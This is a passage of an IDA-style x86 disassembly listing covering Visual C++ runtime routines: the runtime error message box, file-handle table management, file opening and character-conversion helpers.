		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3

loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2620858h
		push	eax
		nop
		call	near ptr 26E0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2610CB2h
		nop

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2610CB2h
		nop

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 261076Ch
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 267084Ch
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0929h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26509C3h

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 267084Ch
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600558h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2810000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2810000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2600558h
		nop
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		nop
		call	near ptr 2801207h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
